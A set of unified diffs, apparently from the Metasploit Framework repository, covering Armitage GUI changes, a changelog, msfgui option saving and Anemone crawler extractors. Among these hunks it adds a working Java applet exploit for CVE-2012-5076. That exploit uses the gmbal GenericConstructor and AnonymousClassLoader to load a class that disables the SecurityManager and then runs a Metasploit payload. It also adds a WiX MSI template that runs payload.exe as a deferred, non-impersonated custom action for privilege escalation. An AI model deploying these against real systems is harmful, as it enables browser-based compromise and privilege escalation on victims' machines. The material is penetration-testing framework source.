[$c addActionListener:
|
[$c addActionListener:
|
||||||
lambda({
|
lambda({
|
||||||
|
@ -112,7 +121,7 @@ sub createProcessBrowser {
|
||||||
}, $m => $1)
|
}, $m => $1)
|
||||||
];
|
];
|
||||||
|
|
||||||
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
|
[$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
||||||
m_cmd($1, "ps");
|
m_cmd($1, "ps");
|
||||||
|
|
|
@ -163,6 +163,10 @@ global('%shells $ashell $achannel %maxq %wait');
|
||||||
# make our shell heuristic tolerant of prompts like this.
|
# make our shell heuristic tolerant of prompts like this.
|
||||||
%wait[$achannel] = $null;
|
%wait[$achannel] = $null;
|
||||||
}
|
}
|
||||||
|
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
|
||||||
|
# make our shell heuristic tolerant of more prompts... this is from the time command
|
||||||
|
%wait[$achannel] = $null;
|
||||||
|
}
|
||||||
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
||||||
m_cmd($1, "read $achannel");
|
m_cmd($1, "read $achannel");
|
||||||
}
|
}
|
||||||
|
@ -254,7 +258,14 @@ sub showShellMenu {
|
||||||
}
|
}
|
||||||
|
|
||||||
item($1, "Post Modules", 'P', lambda({
|
item($1, "Post Modules", 'P', lambda({
|
||||||
|
if ("*Windows*" iswm sessionToOS($sid)) {
|
||||||
showPostModules($sid);
|
showPostModules($sid);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
showPostModules($sid, "*",
|
||||||
|
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
|
||||||
|
);
|
||||||
|
}
|
||||||
}, \$sid));
|
}, \$sid));
|
||||||
|
|
||||||
separator($1);
|
separator($1);
|
||||||
|
|
|
@ -164,6 +164,21 @@ public class MeterpreterSession implements Runnable {
|
||||||
readUntilSuccessful(c, false);
|
readUntilSuccessful(c, false);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
else if (c.text.startsWith("add_user") && !teammode) {
|
||||||
|
/* when -h [host] is specified, attempts to add a user on another
|
||||||
|
host. In this case, output is split into multiple chunks.
|
||||||
|
This applies to add_localgroup_user and add_group_user too. */
|
||||||
|
readUntilSuccessful(c, false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("add_localgroup_user") && !teammode) {
|
||||||
|
readUntilSuccessful(c, false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("add_group_user") && !teammode) {
|
||||||
|
readUntilSuccessful(c, false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
|
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
|
||||||
|
|
||||||
|
|
|
@ -57,6 +57,13 @@ public class MsgRpcImpl extends RpcConnectionImpl {
|
||||||
/* login to msf server */
|
/* login to msf server */
|
||||||
Object[] params = new Object[]{ username, password };
|
Object[] params = new Object[]{ username, password };
|
||||||
Map results = exec("auth.login",params);
|
Map results = exec("auth.login",params);
|
||||||
|
|
||||||
|
/* save the temp token (lasts for 5 minutes of inactivity) */
|
||||||
|
rpcToken = results.get("token").toString();
|
||||||
|
|
||||||
|
/* generate a non-expiring token and use that */
|
||||||
|
params = new Object[]{ rpcToken };
|
||||||
|
results = exec("auth.token_generate", params);
|
||||||
rpcToken = results.get("token").toString();
|
rpcToken = results.get("token").toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -33,10 +33,6 @@ public class KeyBindings implements KeyEventDispatcher {
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean dispatchKeyEvent(KeyEvent ev) {
|
public boolean dispatchKeyEvent(KeyEvent ev) {
|
||||||
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
StringBuffer description = new StringBuffer();
|
StringBuffer description = new StringBuffer();
|
||||||
if (ev.getModifiers() != 0) {
|
if (ev.getModifiers() != 0) {
|
||||||
description.append(getKeyModifiers(ev));
|
description.append(getKeyModifiers(ev));
|
||||||
|
@ -46,11 +42,16 @@ public class KeyBindings implements KeyEventDispatcher {
|
||||||
|
|
||||||
synchronized (this) {
|
synchronized (this) {
|
||||||
if (bindings.containsKey(description.toString())) {
|
if (bindings.containsKey(description.toString())) {
|
||||||
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
|
||||||
ev.consume();
|
ev.consume();
|
||||||
|
if (ev.getID() != KeyEvent.KEY_PRESSED) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,29 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
26 Nov 12 (tested against msf 16114)
|
||||||
|
---------
|
||||||
|
- Windows command shell tab is now friendlier to commands that prompt
|
||||||
|
for input (e.g., time command)
|
||||||
|
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||||
|
the framework's new exploit/windows/local modules too
|
||||||
|
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||||
|
and exploit/linux/local modules
|
||||||
|
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||||
|
- Added Steal Token button to Processes dialog.
|
||||||
|
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||||
|
This will prevent Armitage from losing its access to msfrpcd when you
|
||||||
|
put your computer to sleep or pause the VM running Metasploit.
|
||||||
|
- add_user and add_[local]group_user now show all of their output when
|
||||||
|
the -h flag is used to operate on a remote host.
|
||||||
|
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- aliased &data_delete to &data_clear to match the documentation.
|
||||||
|
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||||
|
file when connected to a teamserver.
|
||||||
|
|
||||||
16 Oct 12 (tested against msf 15972)
|
16 Oct 12 (tested against msf 15972)
|
||||||
---------
|
---------
|
||||||
- Added port 5985 to MSF Scans list.
|
- Added port 5985 to MSF Scans list.
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
import java.applet.Applet;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
|
||||||
|
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import metasploit.Payload;
|
||||||
|
//import java.lang.Runtime;
|
||||||
|
|
||||||
|
public class Exploit extends Applet
|
||||||
|
{
|
||||||
|
|
||||||
|
public Exploit()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] hex2Byte(String str)
|
||||||
|
{
|
||||||
|
byte[] bytes = new byte[str.length() / 2];
|
||||||
|
for (int i = 0; i < bytes.length; i++)
|
||||||
|
{
|
||||||
|
bytes[i] = (byte) Integer
|
||||||
|
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void init()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
byte[] buffer = new byte[8192];
|
||||||
|
int length;
|
||||||
|
|
||||||
|
// read in the class file from the jar
|
||||||
|
InputStream is = getClass().getResourceAsStream("MyPayload.class");
|
||||||
|
// and write it out to the byte array stream
|
||||||
|
while( ( length = is.read( buffer ) ) > 0 )
|
||||||
|
bos.write( buffer, 0, length );
|
||||||
|
// convert it to a simple byte array
|
||||||
|
buffer = bos.toByteArray();
|
||||||
|
|
||||||
|
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
|
||||||
|
Object obj = genericconstructor.create(new Object[] {});
|
||||||
|
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
|
||||||
|
Class class1 = (Class)method.invoke(obj, new Object[] {
|
||||||
|
//byte_payload
|
||||||
|
buffer
|
||||||
|
});
|
||||||
|
class1.newInstance();
|
||||||
|
//System.out.println("SecurityManager:" + System.getSecurityManager());
|
||||||
|
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
|
||||||
|
Payload.main(null);
|
||||||
|
//Runtime.getRuntime().exec("calc.exe");
|
||||||
|
}
|
||||||
|
catch(Exception exception)
|
||||||
|
{
|
||||||
|
//exception.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
# rt.jar must be in the classpath!
|
||||||
|
|
||||||
|
CLASSES = \
|
||||||
|
Exploit.java \
|
||||||
|
MyPayload.java
|
||||||
|
|
||||||
|
.SUFFIXES: .java .class
|
||||||
|
.java.class:
|
||||||
|
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
|
||||||
|
|
||||||
|
all: $(CLASSES:.java=.class)
|
||||||
|
|
||||||
|
install:
|
||||||
|
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
|
||||||
|
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf *.class
|
|
@ -0,0 +1,33 @@
|
||||||
|
import java.security.*;
|
||||||
|
|
||||||
|
public class MyPayload
|
||||||
|
implements PrivilegedExceptionAction
|
||||||
|
{
|
||||||
|
|
||||||
|
public MyPayload()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
AccessController.doPrivileged(this);
|
||||||
|
}
|
||||||
|
catch(PrivilegedActionException e)
|
||||||
|
{
|
||||||
|
//e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object run()
|
||||||
|
throws Exception
|
||||||
|
{
|
||||||
|
System.setSecurityManager(null);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void r()
|
||||||
|
throws Exception
|
||||||
|
{
|
||||||
|
//System.out.println("hello!");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,29 @@
|
||||||
|
<?xml version='1.0' encoding='windows-1252'?>
|
||||||
|
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||||
|
<Product Name='Foobar 1.0' Id='*'
|
||||||
|
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||||
|
|
||||||
|
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||||
|
|
||||||
|
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
|
||||||
|
|
||||||
|
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||||
|
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||||
|
<Condition>0</Condition>
|
||||||
|
</Component>
|
||||||
|
</Directory>
|
||||||
|
|
||||||
|
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||||
|
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
|
||||||
|
|
||||||
|
<Feature Id='Complete' Level='1'>
|
||||||
|
<ComponentRef Id='MyComponent' />
|
||||||
|
</Feature>
|
||||||
|
|
||||||
|
<InstallExecuteSequence>
|
||||||
|
<ResolveSource After="CostInitialize" />
|
||||||
|
<Custom Action="ExecNotepad" After="InstallInitialize" />
|
||||||
|
</InstallExecuteSequence>
|
||||||
|
|
||||||
|
</Product>
|
||||||
|
</Wix>
|
|
@ -423,6 +423,11 @@ nameloop: for (int i = 0; i < names.length; i++) {
|
||||||
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
|
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
|
||||||
return new ActionListener(){
|
return new ActionListener(){
|
||||||
public void actionPerformed(ActionEvent e) {
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
//If we have saved options for this module, use those
|
||||||
|
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
|
||||||
|
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
|
||||||
|
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
|
||||||
|
else //otherwise go with the default
|
||||||
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
|
@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
|
||||||
}
|
}
|
||||||
Map hash = (Map)args.get(2);
|
Map hash = (Map)args.get(2);
|
||||||
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
|
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
|
||||||
|
//Save these options
|
||||||
|
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
|
||||||
|
propRoot.put("modOptions", new HashMap());
|
||||||
|
((Map)propRoot.get("modOptions")).put(name.toString(), args);
|
||||||
|
|
||||||
|
//Generate display name
|
||||||
for(Object ento : hash.entrySet()){
|
for(Object ento : hash.entrySet()){
|
||||||
Entry ent = (Entry)ento;
|
Entry ent = (Entry)ento;
|
||||||
String propName = ent.getKey().toString();
|
String propName = ent.getKey().toString();
|
||||||
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
|
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
|
||||||
name.append(" ").append(propName).append("-").append(ent.getValue());
|
name.append(" ").append(propName).append("-").append(ent.getValue());
|
||||||
}
|
}
|
||||||
|
//Make menu item
|
||||||
final JMenuItem item = new JMenuItem(name.toString());
|
final JMenuItem item = new JMenuItem(name.toString());
|
||||||
item.addActionListener(new ActionListener() {
|
item.addActionListener(new ActionListener() {
|
||||||
public void actionPerformed(ActionEvent e) {
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
This directory must be populated with the libs and includes for the commercial
|
||||||
|
Packet SDK in order for the sniffer extension to build. This SDK is not
|
||||||
|
publicly available at this time.
|
||||||
|
|
||||||
|
The 32-bit lib should be copied to win32/pssdk.lib
|
||||||
|
The 64-bit lib should be copied to win64/pssdk.lib
|
||||||
|
|
|
@ -9,7 +9,7 @@ require 'anemone/storage/base'
|
||||||
|
|
||||||
module Anemone
|
module Anemone
|
||||||
|
|
||||||
VERSION = '0.5.0';
|
VERSION = '0.5.0'
|
||||||
|
|
||||||
#
|
#
|
||||||
# Convenience method to start a crawl
|
# Convenience method to start a crawl
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
class Anemone::Extractors::Anchors < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.search( '//a[@href]' ).map { |a| a['href'] }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,12 @@
|
||||||
|
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
return [] if page.code.to_i != 200
|
||||||
|
|
||||||
|
@@dirs ||= nil
|
||||||
|
|
||||||
|
return @@dirs if @@dirs
|
||||||
|
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,10 @@
|
||||||
|
test/
|
||||||
|
tmp/
|
||||||
|
stuff/
|
||||||
|
awstats/
|
||||||
|
awstats/awstats/
|
||||||
|
basilic/
|
||||||
|
cacti/
|
||||||
|
docs/text/manual.txt
|
||||||
|
docs/CHANGELOG
|
||||||
|
docs/html/php_script_server.html
|
|
@ -0,0 +1,7 @@
|
||||||
|
class Anemone::Extractors::Forms < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.search( '//form[@action]' ).map { |a| a['action'] }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,7 @@
|
||||||
|
class Anemone::Extractors::Frames < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,50 @@
|
||||||
|
require 'uri'
|
||||||
|
|
||||||
|
class Anemone::Extractors::Generic < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
URI.extract( doc.to_s, %w(http https) ).map do |u|
|
||||||
|
#
|
||||||
|
# This extractor needs to be a tiny bit intelligent because
|
||||||
|
# due to its generic nature it'll inevitably match some garbage.
|
||||||
|
#
|
||||||
|
# For example, if some JS code contains:
|
||||||
|
#
|
||||||
|
# var = 'http://blah.com?id=1'
|
||||||
|
#
|
||||||
|
# or
|
||||||
|
#
|
||||||
|
# var = { 'http://blah.com?id=1', 1 }
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# The URI.extract call will match:
|
||||||
|
#
|
||||||
|
# http://blah.com?id=1'
|
||||||
|
#
|
||||||
|
# and
|
||||||
|
#
|
||||||
|
# http://blah.com?id=1',
|
||||||
|
#
|
||||||
|
# respectively.
|
||||||
|
#
|
||||||
|
if !includes_quotes?( u )
|
||||||
|
u
|
||||||
|
else
|
||||||
|
if html.include?( "'#{u}" )
|
||||||
|
u.split( '\'' ).first
|
||||||
|
elsif html.include?( "\"#{u}" )
|
||||||
|
u.split( '"' ).first
|
||||||
|
else
|
||||||
|
u
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
[]
|
||||||
|
end
|
||||||
|
|
||||||
|
def includes_quotes?( url )
|
||||||
|
url.include?( '\'' ) || url.include?( '"' )
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,7 @@
|
||||||
|
class Anemone::Extractors::Links < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.search( "//link[@href]" ).map { |a| a['href'] }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,24 @@
|
||||||
|
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
|
||||||
|
begin
|
||||||
|
_, url = url['content'].split( ';', 2 )
|
||||||
|
next if !url
|
||||||
|
unquote( url.split( '=', 2 ).last )
|
||||||
|
rescue
|
||||||
|
next
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def unquote( str )
|
||||||
|
[ '\'', '"' ].each do |q|
|
||||||
|
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
|
||||||
|
end
|
||||||
|
str
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,7 @@
|
||||||
|
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
|
||||||
|
|
||||||
|
def run
|
||||||
|
doc.search( '//script[@src]' ).map { |a| a['src'] }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -3,6 +3,22 @@ require 'ostruct'
|
||||||
require 'webrick/cookie'
|
require 'webrick/cookie'
|
||||||
|
|
||||||
module Anemone
|
module Anemone
|
||||||
|
|
||||||
|
# Path extractor container namespace.
|
||||||
|
module Extractors
|
||||||
|
class Base
|
||||||
|
attr_reader :page
|
||||||
|
|
||||||
|
def initialize( page )
|
||||||
|
@page = page
|
||||||
|
end
|
||||||
|
|
||||||
|
def doc
|
||||||
|
page.doc
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
class Page
|
class Page
|
||||||
|
|
||||||
# The URL of the page
|
# The URL of the page
|
||||||
|
@ -53,51 +69,52 @@ module Anemone
|
||||||
@fetched = !params[:code].nil?
|
@fetched = !params[:code].nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.extractors
|
||||||
|
return @extractors if @extractors
|
||||||
|
|
||||||
|
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
|
||||||
|
Dir.glob( lib ).each { |e| require e }
|
||||||
|
|
||||||
|
@extractors = Extractors.constants.map do |e|
|
||||||
|
next if e == :Base
|
||||||
|
Extractors.const_get( e )
|
||||||
|
end.compact
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_extractors
|
||||||
|
return [] if !doc
|
||||||
|
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
|
||||||
|
compact.map do |p|
|
||||||
|
abs = to_absolute( URI( p ) ) rescue next
|
||||||
|
!in_domain?( abs ) ? nil : abs
|
||||||
|
end.compact.uniq
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Array of distinct A tag HREFs from the page
|
# Array of distinct A tag HREFs from the page
|
||||||
#
|
#
|
||||||
# MODIFIED: Dig URLs from elements other than "A" refs
|
# MODIFIED: Dig URLs from elements other than "A" refs
|
||||||
#
|
#
|
||||||
def links
|
def links
|
||||||
return @links unless @links.nil?
|
return @links if @links
|
||||||
@links = []
|
@links = []
|
||||||
return @links if !doc
|
return @links if !doc
|
||||||
|
|
||||||
# First extract normal, direct links
|
@links = run_extractors
|
||||||
etypes = %W{a frame iframe}
|
|
||||||
doc.css(*etypes).each do |r|
|
|
||||||
u = r['src'] || r['href']
|
|
||||||
next if u.nil? or u.empty?
|
|
||||||
abs = to_absolute(URI(u)) rescue next
|
|
||||||
@links << abs if in_domain?(abs)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Now create links from other content URLs
|
@links |= @links.map do |u|
|
||||||
etypes = %W{img script link form}
|
# back-off to the parent dir
|
||||||
doc.css(*etypes).each do |r|
|
to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
|
||||||
u = r['src'] || r['href'] || r['action']
|
end.uniq.compact
|
||||||
next if u.nil? or u.empty?
|
|
||||||
|
|
||||||
# Remove any query string
|
@links |= @links.map do |u|
|
||||||
u,tmp = u.split('?',2)
|
bits = u.path.split( '/' )
|
||||||
|
while bits.length > 0
|
||||||
# Back off to the containing directory
|
|
||||||
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
|
|
||||||
|
|
||||||
abs = to_absolute(URI(u)) rescue next
|
|
||||||
@links << abs if in_domain?(abs)
|
|
||||||
end
|
|
||||||
|
|
||||||
nlinks = []
|
|
||||||
@links.each do |u|
|
|
||||||
bits = u.path.split('/')
|
|
||||||
while(bits.length > 0)
|
|
||||||
bits.pop
|
bits.pop
|
||||||
nlinks << to_absolute(URI(bits.join('/'))) rescue next
|
to_absolute( URI( bits.join( '/' ) ) ) rescue next
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end.uniq.compact
|
||||||
|
|
||||||
@links.push(nlinks)
|
|
||||||
@links.flatten!
|
@links.flatten!
|
||||||
@links.uniq!
|
@links.uniq!
|
||||||
@links
|
@links
|
||||||
|
@ -234,5 +251,10 @@ module Anemone
|
||||||
end
|
end
|
||||||
page
|
page
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def dup
|
||||||
|
Marshal.load( Marshal.dump( self ) )
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -129,10 +129,9 @@ module Anemone
|
||||||
# it is sent to the remote system.
|
# it is sent to the remote system.
|
||||||
#
|
#
|
||||||
def get_response(url, referer = nil)
|
def get_response(url, referer = nil)
|
||||||
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
|
|
||||||
|
|
||||||
opts = {
|
opts = {
|
||||||
'uri' => url.path
|
'uri' => url.path,
|
||||||
|
'query' => url.query
|
||||||
}
|
}
|
||||||
|
|
||||||
opts['agent'] = user_agent if user_agent
|
opts['agent'] = user_agent if user_agent
|
||||||
|
|
|
@ -72,7 +72,7 @@ class FastLib
|
||||||
data = ""
|
data = ""
|
||||||
load_cache(lib)
|
load_cache(lib)
|
||||||
|
|
||||||
return if not ( @@cache[lib] and @@cache[lib][name] )
|
return unless ( @@cache[lib] and @@cache[lib][name] )
|
||||||
|
|
||||||
|
|
||||||
::File.open(lib, "rb") do |fd|
|
::File.open(lib, "rb") do |fd|
|
||||||
|
@ -182,12 +182,17 @@ class FastLib
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# This method provides a way to create a FASTLIB archive programatically.
|
||||||
#
|
#
|
||||||
# This method provides a way to create a FASTLIB archive programatically,
|
# @param [String] lib the output path for the archive
|
||||||
# the key arguments are the name of the destination archive, the base
|
# @param [String] flag a string containing the hex values for the
|
||||||
# directory that should be excluded from the archived path, and finally
|
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
|
||||||
# the list of specific files and directories to include in the archive.
|
# @param [String] bdir the path to the base directory which will be
|
||||||
#
|
# stripped from all paths included in the archive
|
||||||
|
# @param [Array<String>] dirs list of directories/files to pack into
|
||||||
|
# the archive. All dirs should be under bdir so that the paths are
|
||||||
|
# stripped correctly.
|
||||||
|
# @return [void]
|
||||||
def self.dump(lib, flag, bdir, *dirs)
|
def self.dump(lib, flag, bdir, *dirs)
|
||||||
head = ""
|
head = ""
|
||||||
data = ""
|
data = ""
|
||||||
|
@ -202,7 +207,7 @@ class FastLib
|
||||||
}
|
}
|
||||||
|
|
||||||
dirs.each do |dir|
|
dirs.each do |dir|
|
||||||
::Find.find(dir).each do |path|
|
::Find.find(dir) do |path|
|
||||||
next if not ::File.file?(path)
|
next if not ::File.file?(path)
|
||||||
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
|
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
|
||||||
|
|
||||||
|
|
|
@ -10,13 +10,9 @@ require 'rubygems'
|
||||||
|
|
||||||
version = ">= 0"
|
version = ">= 0"
|
||||||
|
|
||||||
if ARGV.first
|
if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
|
||||||
str = ARGV.first
|
|
||||||
str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding
|
|
||||||
if str =~ /\A_(.*)_\z/
|
|
||||||
version = $1
|
version = $1
|
||||||
ARGV.shift
|
ARGV.shift
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
gem 'metasploit_data_models', version
|
gem 'metasploit_data_models', version
|
||||||
|
|
|
@ -1,6 +0,0 @@
|
||||||
.rvmrc
|
|
||||||
.DS_Store
|
|
||||||
*.gem
|
|
||||||
.bundle
|
|
||||||
Gemfile.lock
|
|
||||||
pkg/*
|
|
|
@ -1,4 +0,0 @@
|
||||||
source "http://rubygems.org"
|
|
||||||
|
|
||||||
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
|
||||||
gemspec
|
|
|
@ -1,75 +0,0 @@
|
||||||
#MetasploitDataModels
|
|
||||||
|
|
||||||
The database layer for Metasploit
|
|
||||||
|
|
||||||
|
|
||||||
## Purpose
|
|
||||||
__MetasploitDataModels__ exists to do several key things:
|
|
||||||
|
|
||||||
1. Allow code sharing between Metasploit Framework (MSF) and the commercial versions of Metasploit (Community, Express, Pro -- usually referred to collectively as "Pro")
|
|
||||||
|
|
||||||
2. Give developers a lightweight entry point to MSF's backend for use in developing tools that gather data intended for later use with Metasploit (e.g. specialized scanners).
|
|
||||||
|
|
||||||
3. Make it easy to keep commercial stuff private while increasing the functionality of the open-source tools we provide to the community.
|
|
||||||
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
### Rails
|
|
||||||
|
|
||||||
In a Rails application we simply include the ActiveRecord mixins directly, usually inside models with similar names.
|
|
||||||
|
|
||||||
### MSF
|
|
||||||
When MetasploitDataModels is included by MSF, the gem dynamically creates
|
|
||||||
ActiveRecord model classes.
|
|
||||||
|
|
||||||
Both of these behaviors are based on the assumption that the files in
|
|
||||||
__lib/metasploit_data_models/active_record_models__, though implemented here as
|
|
||||||
mixins, actually represent the basic ActiveRecord model structure that both Metasploit Framework and Metasploit Pro use.
|
|
||||||
|
|
||||||
### Elsewhere
|
|
||||||
|
|
||||||
__NOTE: This isn't in RubyGems yet. Using a Gemfile entry pointing to this repo (i.e., using [Bundler](http://gembundler.com)) is the suggested option for now.__
|
|
||||||
|
|
||||||
|
|
||||||
Usage outside of Rapid7 is still alpha, and we're not making many promises. That being said, usage is easy:
|
|
||||||
|
|
||||||
```ruby
|
|
||||||
